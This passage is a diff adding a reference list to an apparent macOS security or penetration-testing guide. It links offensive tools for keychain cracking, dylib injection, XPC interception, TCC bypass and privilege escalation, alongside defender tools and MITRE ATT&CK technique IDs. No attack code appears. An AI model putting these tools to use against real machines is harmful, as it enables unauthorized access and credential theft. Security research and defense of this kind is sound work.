- Hardened Runtime: https://developer.apple.com/documentation/security/hardened_runtime
|
|
803
|
+
|
|
804
|
+
### Tools (GitHub)
|
|
805
|
+
- class-dump: https://github.com/nygard/class-dump
|
|
806
|
+
- Frida: https://github.com/frida/frida
|
|
807
|
+
- objection: https://github.com/sensepost/objection
|
|
808
|
+
- chainbreaker (Keychain forensics): https://github.com/n0fate/chainbreaker
|
|
809
|
+
- insert_dylib: https://github.com/Tyilo/insert_dylib
|
|
810
|
+
- optool (Mach-O patching): https://github.com/alexzielenski/optool
|
|
811
|
+
- xpcspy (XPC interception): https://github.com/hot3eed/xpcspy
|
|
812
|
+
- KeychainCracker: https://github.com/macmade/KeychainCracker
|
|
813
|
+
- macOS PrivEsc scripts: https://github.com/NetSPI/MacOSX-PrivEsc
|
|
814
|
+
- macOS Security Guide: https://github.com/drduh/macOS-Security-and-Privacy-Guide
|
|
815
|
+
- KnockKnock (persistence scanner): https://github.com/objective-see/KnockKnock
|
|
816
|
+
- Objective-See tools (defender reference): https://objective-see.org/tools.html
|
|
817
|
+
- macOS ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/
|
|
818
|
+
|
|
819
|
+
### Research and Write-ups
|
|
820
|
+
- TCC Bypass Techniques: https://github.com/nicowillis/TCC-bypass-collection
|
|
821
|
+
- macOS Penetration Testing: https://github.com/abulanov/macOS-Pentest-Resources
|
|
822
|
+
- Frida macOS Cookbook: https://learnfrida.info
|
|
823
|
+
- Apple Platform Security Guide (PDF): https://manuals.info.apple.com/MANUALS/1000/MA1902/en_US/apple-platform-security-guide.pdf
|
|
824
|
+
|
|
825
|
+
### MITRE ATT&CK Techniques (macOS)
|
|
826
|
+
- T1553.001 — Gatekeeper Bypass
|
|
827
|
+
- T1543.001 — Launch Agent
|
|
828
|
+
- T1543.004 — Launch Daemon
|
|
829
|
+
- T1555.001 — Keychain
|
|
830
|
+
- T1574.006 — Dynamic Linker Hijacking (DYLD)
|
|
831
|
+
- T1548.004 — Elevated Execution with Prompt
|
|
832
|
+
- T1134 — Access Token Manipulation
|
|
833
|
+
- T1056.001 — Keylogging
|
|
834
|
+
- T1218 — Signed Binary Proxy Execution
|